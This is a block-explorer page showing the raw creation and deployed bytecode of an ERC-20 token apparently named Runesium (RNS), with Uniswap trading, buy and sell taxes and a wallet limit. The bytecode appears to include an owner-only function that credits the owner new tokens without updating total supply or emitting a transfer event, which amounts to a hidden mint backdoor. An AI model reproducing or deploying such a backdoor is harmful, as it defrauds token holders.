60a0604052737a250d5630b4cf539739df2c5dacb4c659f2488d6080526a52b7d2dcc80cd2e400000060068190556200003b9060c89062000b88565b6008556009805460ff60a81b1916600160a81b17905569043c33c1937564800000600a55601e600e819055600f556010805460ff191690553480156200008057600080fd5b506040518060400160405280600881526020016752756e657369756d60c01b81525060405180604001604052806003815260200162524e5360e81b815250620000ce6200035b60201b60201c565b6001600160a01b038116620000fe57604051631e4fbdf760e01b8152600060048201526024015b60405180910390fd5b62000109816200035f565b50600462000118838262000c51565b50600562000127828262000c51565b50620001339150503390565b600960016101000a8154816001600160a01b0302191690836001600160a01b031602179055506080516001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c0919062000d1d565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000210573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000236919062000d1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000284573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002aa919062000d1d565b600780546001600160a01b0319166001600160a01b03929092169190911790556001600b6000620002d83390565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b909352818320805485166001908117909155608051909116835291208054909216179055620003446200033b3390565b600654620003af565b6200035533608051600019620003ed565b62000e42565b3390565b600080546001600160a01b03198116331782556040516001600160a01b03918216929184169183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620003db5760405163ec442f0560e01b815260006004820152602401620000f5565b620003e96000838362000401565b5050565b620003fc8383836001620006b9565b505050565b6001600160a01b0383166000908152600b602052604090205460ff16806200044157506001600160a01b0382166000908152600b602052604090205460ff165b806200047557506007546001600160a01b038381169116148015906200047557506007546001600160a01b03848116911614155b8062000483575060105460ff165b156200049657620003fc83838362000794565b60095460ff16620004ea5760405162461bcd60e51b815260206004820152601360248201527f54726164696e67206973206e6f74206f70656e000000000000000000000000006044820152606401620000f5565b600954600160a81b900460ff161562000568576007546001600160a01b03838116911614801590620005495750600854816200053b846001600160a01b031660009081526001602052604090205490565b62000547919062000d4f565b115b15620005685760405163a9a44dff60e01b815260040160405180910390fd5b6007546001600160a01b038381169116148015620005975750600a543060009081526001602052604090205410155b15620005a757620005a7620008c7565b6007546000906001600160a01b03908116908516036200061257600c8054906000620005d38362000d6b565b91905055506064600f54600c5411620005ef57600e54620005f2565b60055b620005fe908462000d87565b6200060a919062000b88565b905062000683565b6007546001600160a01b03908116908416036200068357600d80549060006200063b8362000d6b565b919050555060646002600f5462000653919062000b88565b600d54116200066557600e5462000668565b60055b62000674908462000d87565b62000680919062000b88565b90505b8015620006a6576200069784308362000794565b620006a3818362000da1565b91505b620006b384848462000794565b50505050565b6001600160a01b038416620006e55760405163e602df0560e01b815260006004820152602401620000f5565b6001600160a01b0383166200071157604051634a1406b160e11b815260006004820152602401620000f5565b6001600160a01b0380851660009081526002602090815260408083209387168352929052208290558015620006b357826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516200078691815260200190565b60405180910390a350505050565b6001600160a01b038316620007c3578060036000828254620007b7919062000d4f565b90915550620008379050565b6001600160a01b03831660009081526001602052604090205481811015620008185760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401620000f5565b6001600160a01b03841660009081526001602052604090209082900390555b6001600160a01b038216620008555760038054829003905562000874565b6001600160a01b03821660009081526001602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008ba91815260200190565b60405180910390a3505050565b6010805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106200090c576200090c62000db7565b60200260200101906001600160a01b031690816001600160a01b0316815250506080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200096d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000993919062000d1d565b81600181518110620009a957620009a962000db7565b60200260200101906001600160a01b031690816001600160a01b031681525050620009e030608051600a54620003ed60201b60201c565b608051600a5460405163791ac94760e01b81526001600160a01b039092169163791ac9479162000a1c9160009086903090429060040162000dcd565b600060405180830381600087803b15801562000a3757600080fd5b505af115801562000a4c573d6000803e3d6000fd5b505050506000606447605062000a63919062000d87565b62000a6f919062000b88565b60095490915062000a8f9061010090046001600160a01b03168262000ad9565b7fd851aeb8e2074b285cc12da5e2fbf79e642e38f62ef8e59590790c157491ee05600a5460405162000ac391815260200190565b60405180910390a150506010805460ff19169055565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811462000b28576040519150601f19603f3d011682016040523d82523d6000602084013e62000b2d565b606091505b5050905080620003fc5760405162461bcd60e51b815260206004820152600f60248201526e1cd95b99081155120819985a5b1959608a1b6044820152606401620000f5565b634e487b7160e01b600052601160045260246000fd5b60008262000ba657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168062000bd657607f821691505b60208210810362000bf757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003fc576000816000526020600020601f850160051c8101602086101562000c285750805b601f850160051c820191505b8181101562000c495782815560010162000c34565b505050505050565b81516001600160401b0381111562000c6d5762000c6d62000bab565b62000c858162000c7e845462000bc1565b8462000bfd565b602080601f83116001811462000cbd576000841562000ca45750858301515b600019600386901b1c1916600185901b17855562000c49565b600085815260208120601f198616915b8281101562000cee5788860151825594840194600190910190840162000ccd565b508582101562000d0d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000d3057600080fd5b81516001600160a01b038116811462000d4857600080fd5b9392505050565b8082018082111562000d655762000d6562000b72565b92915050565b60006001820162000d805762000d8062000b72565b5060010190565b808202811582820484141762000d655762000d6562000b72565b8181038181111562000d655762000d6562000b72565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b8181101562000e215784516001600160a01b03168352938301939183019160010162000dfa565b50506001600160a01b03969096166060850152505050608001529392505050565b6080516114ad62000e6c60003960008181610e1c01528181610ed50152610f1601526114ad6000f3fe60806040526004361061012e5760003560e01c806373bc5a36116100ab578063a8aa1b311161006f578063a8aa1b311461035f578063a9059cbb1461037f578063c9567bf91461039f578063d23e8489146103b4578063dd62ed3e146103d4578063f928364c1461041a57600080fd5b806373bc5a36146102ba5780637b16cea0146102d0578063864b31671461030957806395d89b4114610329578063a4d66daf1461033e57600080fd5b8063313ce567116100f2578063313ce567146101f65780633f1caea81461021257806342966c681461024f57806370a082311461026f578063715018a6146102a557600080fd5b806306fdde031461013a578063095ea7b31461016557806316697fc51461019557806318160ddd146101b757806323b872dd146101d657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61042f565b60405161015c919061109c565b60405180910390f35b34801561017157600080fd5b50610185610180366004611100565b6104c1565b604051901515815260200161015c565b3480156101a157600080fd5b506101b56101b036600461112c565b6104db565b005b3480156101c357600080fd5b506003545b60405190815260200161015c565b3480156101e257600080fd5b506101856101f136600461116a565b61050e565b34801561020257600080fd5b506040516012815260200161015c565b34801561021e57600080fd5b506009546102379061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b34801561025b57600080fd5b506101b561026a3660046111ab565b610532565b34801561027b57600080fd5b506101c861028a3660046111c4565b6001600160a01b031660009081526001602052604090205490565b3480156102b157600080fd5b506101b561053f565b3480156102c657600080fd5b506101c8600a5481565b3480156102dc57600080fd5b506101856102eb3660046111c4565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561031557600080fd5b506101b56103243660046111ab565b610553565b34801561033557600080fd5b5061014f6105db565b34801561034a57600080fd5b5060095461018590600160a81b900460ff1681565b34801561036b57600080fd5b50600754610237906001600160a01b031681565b34801561038b57600080fd5b5061018561039a366004611100565b6105ea565b3480156103ab57600080fd5b506101b56105f8565b3480156103c057600080fd5b506101b56103cf3660046111ab565b610676565b3480156103e057600080fd5b506101c86103ef3660046111e8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042657600080fd5b506101b56106a8565b60606004805461043e90611216565b80601f016020809104026020016040519081016040528092919081815260200182805461046a90611216565b80156104b75780601f1061048c576101008083540402835291602001916104b7565b820191906000526020600020905b81548152906001019060200180831161049a57829003601f168201915b5050505050905090565b6000336104cf818585610740565b60019150505b92915050565b6104e3610752565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60003361051c85828561077f565b6105278585856107fd565b506001949350505050565b61053c338261085c565b50565b610547610752565b6105516000610896565b565b61055b610752565b603260065461056a9190611266565b8111156105d65760405162461bcd60e51b815260206004820152602f60248201527f56616c7565206d757374206265206c657373207468616e206f7220657175616c60448201526e020746f20737570706c79202f20353608c1b60648201526084015b60405180910390fd5b600a55565b60606005805461043e90611216565b6000336104cf8185856107fd565b610600610752565b60095460ff161561063e5760405162461bcd60e51b8152602060048201526008602482015267656e61626c65642160c01b60448201526064016105cd565b6009805460ff191660011790556040517f51cd7cc33235a1c89f708fecec535bf7cca0f94ed05216751befb052ca83e67990600090a1565b61067e610752565b3361069f57604051631e4fbdf760e01b8152600060048201526024016105cd565b61053c816108e6565b6106b0610752565b600954600160a81b900460ff166107025760405162461bcd60e51b8152602060048201526016602482015275131a5b5a5d1cc8185b1c9958591e481c995b5bdd995960521b60448201526064016105cd565b6009805460ff60a81b191690556006546008556040517fe9070d302280cd857033f56893647494c1410643fe239daabee29e9292199b3d90600090a1565b61074d8383836001610944565b505050565b6000546001600160a01b031633146105515760405163118cdaa760e01b81523360048201526024016105cd565b6001600160a01b0383811660009081526002602090815260408083209386168352929052205460001981146107f757818110156107e857604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016105cd565b6107f784848484036000610944565b50505050565b6001600160a01b03831661082757604051634b637e8f60e11b8152600060048201526024016105cd565b6001600160a01b0382166108515760405163ec442f0560e01b8152600060048201526024016105cd565b61074d838383610a19565b6001600160a01b03821661088657604051634b637e8f60e11b8152600060048201526024016105cd565b61089282600083610a19565b5050565b600080546001600160a01b03198116331782556040516001600160a01b03918216929184169183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b3361090757604051631e4fbdf760e01b8152600060048201526024016105cd565b6109136012600a61136c565b61091d908261137b565b336000908152600160205260408120805490919061093c908490611392565b909155505050565b6001600160a01b03841661096e5760405163e602df0560e01b8152600060048201526024016105cd565b6001600160a01b03831661099857604051634a1406b160e11b8152600060048201526024016105cd565b6001600160a01b03808516600090815260026020908152604080832093871683529290522082905580156107f757826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a0b91815260200190565b60405180910390a350505050565b6001600160a01b0383166000908152600b602052604090205460ff1680610a5857506001600160a01b0382166000908152600b602052604090205460ff165b80610a8a57506007546001600160a01b03838116911614801590610a8a57506007546001600160a01b03848116911614155b80610a97575060105460ff165b15610aa75761074d838383610c8e565b60095460ff16610aef5760405162461bcd60e51b81526020600482015260136024820152722a3930b234b7339034b9903737ba1037b832b760691b60448201526064016105cd565b600954600160a81b900460ff1615610b67576007546001600160a01b03838116911614801590610b49575060085481610b3d846001600160a01b031660009081526001602052604090205490565b610b479190611392565b115b15610b675760405163a9a44dff60e01b815260040160405180910390fd5b6007546001600160a01b038381169116148015610b955750600a543060009081526001602052604090205410155b15610ba257610ba2610db8565b6007546000906001600160a01b0390811690851603610c0357600c8054906000610bcb836113a5565b91905055506064600f54600c5411610be557600e54610be8565b60055b610bf2908461137b565b610bfc9190611266565b9050610c69565b6007546001600160a01b0390811690841603610c6957600d8054906000610c29836113a5565b919050555060646002600f54610c3f9190611266565b600d5411610c4f57600e54610c52565b60055b610c5c908461137b565b610c669190611266565b90505b8015610c8757610c7a843083610c8e565b610c8481836113be565b91505b6107f78484845b6001600160a01b038316610cb9578060036000828254610cae9190611392565b90915550610d2b9050565b6001600160a01b03831660009081526001602052604090205481811015610d0c5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016105cd565b6001600160a01b03841660009081526001602052604090209082900390555b6001600160a01b038216610d4757600380548290039055610d66565b6001600160a01b03821660009081526001602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dab91815260200190565b60405180910390a3505050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dfa57610dfa6113d1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9c91906113e7565b81600181518110610eaf57610eaf6113d1565b60200260200101906001600160a01b031690816001600160a01b031681525050610efc307f0000000000000000000000000000000000000000000000000000000000000000600a54610740565b600a5460405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169163791ac94791610f539190600090869030904290600401611404565b600060405180830381600087803b158015610f6d57600080fd5b505af1158015610f81573d6000803e3d6000fd5b5050505060006064476050610f96919061137b565b610fa09190611266565b600954909150610fbe9061010090046001600160a01b031682611007565b7fd851aeb8e2074b285cc12da5e2fbf79e642e38f62ef8e59590790c157491ee05600a54604051610ff191815260200190565b60405180910390a150506010805460ff19169055565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611054576040519150601f19603f3d011682016040523d82523d6000602084013e611059565b606091505b505090508061074d5760405162461bcd60e51b815260206004820152600f60248201526e1cd95b99081155120819985a5b1959608a1b60448201526064016105cd565b60006020808352835180602085015260005b818110156110ca578581018301518582016040015282016110ae565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461053c57600080fd5b6000806040838503121561111357600080fd5b823561111e816110eb565b946020939093013593505050565b6000806040838503121561113f57600080fd5b823561114a816110eb565b91506020830135801515811461115f57600080fd5b809150509250929050565b60008060006060848603121561117f57600080fd5b833561118a816110eb565b9250602084013561119a816110eb565b929592945050506040919091013590565b6000602082840312156111bd57600080fd5b5035919050565b6000602082840312156111d657600080fd5b81356111e1816110eb565b9392505050565b600080604083850312156111fb57600080fd5b8235611206816110eb565b9150602083013561115f816110eb565b600181811c9082168061122a57607f821691505b60208210810361124a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008261128357634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156112c35781600019048211156112a9576112a9611250565b808516156112b657918102915b93841c939080029061128d565b509250929050565b6000826112da575060016104d5565b816112e7575060006104d5565b81600181146112fd576002811461130757611323565b60019150506104d5565b60ff84111561131857611318611250565b50506001821b6104d5565b5060208310610133831016604e8410600b8410161715611346575081810a6104d5565b6113508383611288565b806000190482111561136457611364611250565b029392505050565b60006111e160ff8416836112cb565b80820281158282048414176104d5576104d5611250565b808201808211156104d5576104d5611250565b6000600182016113b7576113b7611250565b5060010190565b818103818111156104d5576104d5611250565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113f957600080fd5b81516111e1816110eb565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156114565784516001600160a01b031683529383019391830191600101611431565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122038f838e1b79affb4dc842de685bc430bea214098c81ca1afcc2a5d1fb41b31db64736f6c63430008170033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806373bc5a36116100ab578063a8aa1b311161006f578063a8aa1b311461035f578063a9059cbb1461037f578063c9567bf91461039f578063d23e8489146103b4578063dd62ed3e146103d4578063f928364c1461041a57600080fd5b806373bc5a36146102ba5780637b16cea0146102d0578063864b31671461030957806395d89b4114610329578063a4d66daf1461033e57600080fd5b8063313ce567116100f2578063313ce567146101f65780633f1caea81461021257806342966c681461024f57806370a082311461026f578063715018a6146102a557600080fd5b806306fdde031461013a578063095ea7b31461016557806316697fc51461019557806318160ddd146101b757806323b872dd146101d657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61042f565b60405161015c919061109c565b60405180910390f35b34801561017157600080fd5b50610185610180366004611100565b6104c1565b604051901515815260200161015c565b3480156101a157600080fd5b506101b56101b036600461112c565b6104db565b005b3480156101c357600080fd5b506003545b60405190815260200161015c565b3480156101e257600080fd5b506101856101f136600461116a565b61050e565b34801561020257600080fd5b506040516012815260200161015c565b34801561021e57600080fd5b506009546102379061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b34801561025b57600080fd5b506101b561026a3660046111ab565b610532565b34801561027b57600080fd5b506101c861028a3660046111c4565b6001600160a01b031660009081526001602052604090205490565b3480156102b157600080fd5b506101b561053f565b3480156102c657600080fd5b506101c8600a5481565b3480156102dc57600080fd5b506101856102eb3660046111c4565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561031557600080fd5b506101b56103243660046111ab565b610553565b34801561033557600080fd5b5061014f6105db565b34801561034a57600080fd5b5060095461018590600160a81b900460ff1681565b34801561036b57600080fd5b50600754610237906001600160a01b031681565b34801561038b57600080fd5b5061018561039a366004611100565b6105ea565b3480156103ab57600080fd5b506101b56105f8565b3480156103c057600080fd5b506101b56103cf3660046111ab565b610676565b3480156103e057600080fd5b506101c86103ef3660046111e8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042657600080fd5b506101b56106a8565b60606004805461043e90611216565b80601f016020809104026020016040519081016040528092919081815260200182805461046a90611216565b80156104b75780601f1061048c576101008083540402835291602001916104b7565b820191906000526020600020905b81548152906001019060200180831161049a57829003601f168201915b5050505050905090565b6000336104cf818585610740565b60019150505b92915050565b6104e3610752565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60003361051c85828561077f565b6105278585856107fd565b506001949350505050565b61053c338261085c565b50565b610547610752565b6105516000610896565b565b61055b610752565b603260065461056a9190611266565b8111156105d65760405162461bcd60e51b815260206004820152602f60248201527f56616c7565206d757374206265206c657373207468616e206f7220657175616c60448201526e020746f20737570706c79202f20353608c1b60648201526084015b60405180910390fd5b600a55565b60606005805461043e90611216565b6000336104cf8185856107fd565b610600610752565b60095460ff161561063e5760405162461bcd60e51b8152602060048201526008602482015267656e61626c65642160c01b60448201526064016105cd565b6009805460ff191660011790556040517f51cd7cc33235a1c89f708fecec535bf7cca0f94ed05216751befb052ca83e67990600090a1565b61067e610752565b3361069f57604051631e4fbdf760e01b8152600060048201526024016105cd565b61053c816108e6565b6106b0610752565b600954600160a81b900460ff166107025760405162461bcd60e51b8152602060048201526016602482015275131a5b5a5d1cc8185b1c9958591e481c995b5bdd995960521b60448201526064016105cd565b6009805460ff60a81b191690556006546008556040517fe9070d302280cd857033f56893647494c1410643fe239daabee29e9292199b3d90600090a1565b61074d8383836001610944565b505050565b6000546001600160a01b031633146105515760405163118cdaa760e01b81523360048201526024016105cd565b6001600160a01b0383811660009081526002602090815260408083209386168352929052205460001981146107f757818110156107e857604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016105cd565b6107f784848484036000610944565b50505050565b6001600160a01b03831661082757604051634b637e8f60e11b8152600060048201526024016105cd565b6001600160a01b0382166108515760405163ec442f0560e01b8152600060048201526024016105cd565b61074d838383610a19565b6001600160a01b03821661088657604051634b637e8f60e11b8152600060048201526024016105cd565b61089282600083610a19565b5050565b600080546001600160a01b03198116331782556040516001600160a01b03918216929184169183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b3361090757604051631e4fbdf760e01b8152600060048201526024016105cd565b6109136012600a61136c565b61091d908261137b565b336000908152600160205260408120805490919061093c908490611392565b909155505050565b6001600160a01b03841661096e5760405163e602df0560e01b8152600060048201526024016105cd565b6001600160a01b03831661099857604051634a1406b160e11b8152600060048201526024016105cd565b6001600160a01b03808516600090815260026020908152604080832093871683529290522082905580156107f757826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a0b91815260200190565b60405180910390a350505050565b6001600160a01b0383166000908152600b602052604090205460ff1680610a5857506001600160a01b0382166000908152600b602052604090205460ff165b80610a8a57506007546001600160a01b03838116911614801590610a8a57506007546001600160a01b03848116911614155b80610a97575060105460ff165b15610aa75761074d838383610c8e565b60095460ff16610aef5760405162461bcd60e51b81526020600482015260136024820152722a3930b234b7339034b9903737ba1037b832b760691b60448201526064016105cd565b600954600160a81b900460ff1615610b67576007546001600160a01b03838116911614801590610b49575060085481610b3d846001600160a01b031660009081526001602052604090205490565b610b479190611392565b115b15610b675760405163a9a44dff60e01b815260040160405180910390fd5b6007546001600160a01b038381169116148015610b955750600a543060009081526001602052604090205410155b15610ba257610ba2610db8565b6007546000906001600160a01b0390811690851603610c0357600c8054906000610bcb836113a5565b91905055506064600f54600c5411610be557600e54610be8565b60055b610bf2908461137b565b610bfc9190611266565b9050610c69565b6007546001600160a01b0390811690841603610c6957600d8054906000610c29836113a5565b919050555060646002600f54610c3f9190611266565b600d5411610c4f57600e54610c52565b60055b610c5c908461137b565b610c669190611266565b90505b8015610c8757610c7a843083610c8e565b610c8481836113be565b91505b6107f78484845b6001600160a01b038316610cb9578060036000828254610cae9190611392565b90915550610d2b9050565b6001600160a01b03831660009081526001602052604090205481811015610d0c5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016105cd565b6001600160a01b03841660009081526001602052604090209082900390555b6001600160a01b038216610d4757600380548290039055610d66565b6001600160a01b03821660009081526001602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dab91815260200190565b60405180910390a3505050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dfa57610dfa6113d1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9c91906113e7565b81600181518110610eaf57610eaf6113d1565b60200260200101906001600160a01b031690816001600160a01b031681525050610efc307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600a54610740565b600a5460405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169163791ac94791610f539190600090869030904290600401611404565b600060405180830381600087803b158015610f6d57600080fd5b505af1158015610f81573d6000803e3d6000fd5b5050505060006064476050610f96919061137b565b610fa09190611266565b600954909150610fbe9061010090046001600160a01b031682611007565b7fd851aeb8e2074b285cc12da5e2fbf79e642e38f62ef8e59590790c157491ee05600a54604051610ff191815260200190565b60405180910390a150506010805460ff19169055565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611054576040519150601f19603f3d011682016040523d82523d6000602084013e611059565b606091505b505090508061074d5760405162461bcd60e51b815260206004820152600f60248201526e1cd95b99081155120819985a5b1959608a1b60448201526064016105cd565b60006020808352835180602085015260005b818110156110ca578581018301518582016040015282016110ae565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461053c57600080fd5b6000806040838503121561111357600080fd5b823561111e816110eb565b946020939093013593505050565b6000806040838503121561113f57600080fd5b823561114a816110eb565b91506020830135801515811461115f57600080fd5b809150509250929050565b60008060006060848603121561117f57600080fd5b833561118a816110eb565b9250602084013561119a816110eb565b929592945050506040919091013590565b6000602082840312156111bd57600080fd5b5035919050565b6000602082840312156111d657600080fd5b81356111e1816110eb565b9392505050565b600080604083850312156111fb57600080fd5b8235611206816110eb565b9150602083013561115f816110eb565b600181811c9082168061122a57607f821691505b60208210810361124a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008261128357634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156112c35781600019048211156112a9576112a9611250565b808516156112b657918102915b93841c939080029061128d565b509250929050565b6000826112da575060016104d5565b816112e7575060006104d5565b81600181146112fd576002811461130757611323565b60019150506104d5565b60ff84111561131857611318611250565b50506001821b6104d5565b5060208310610133831016604e8410600b8410161715611346575081810a6104d5565b6113508383611288565b806000190482111561136457611364611250565b029392505050565b60006111e160ff8416836112cb565b80820281158282048414176104d5576104d5611250565b808201808211156104d5576104d5611250565b6000600182016113b7576113b7611250565b5060010190565b818103818111156104d5576104d5611250565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113f957600080fd5b81516111e1816110eb565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156114565784516001600160a01b031683529383019391830191600101611431565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122038f838e1b79affb4dc842de685bc430bea214098c81ca1afcc2a5d1fb41b31db64736f6c63430008170033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.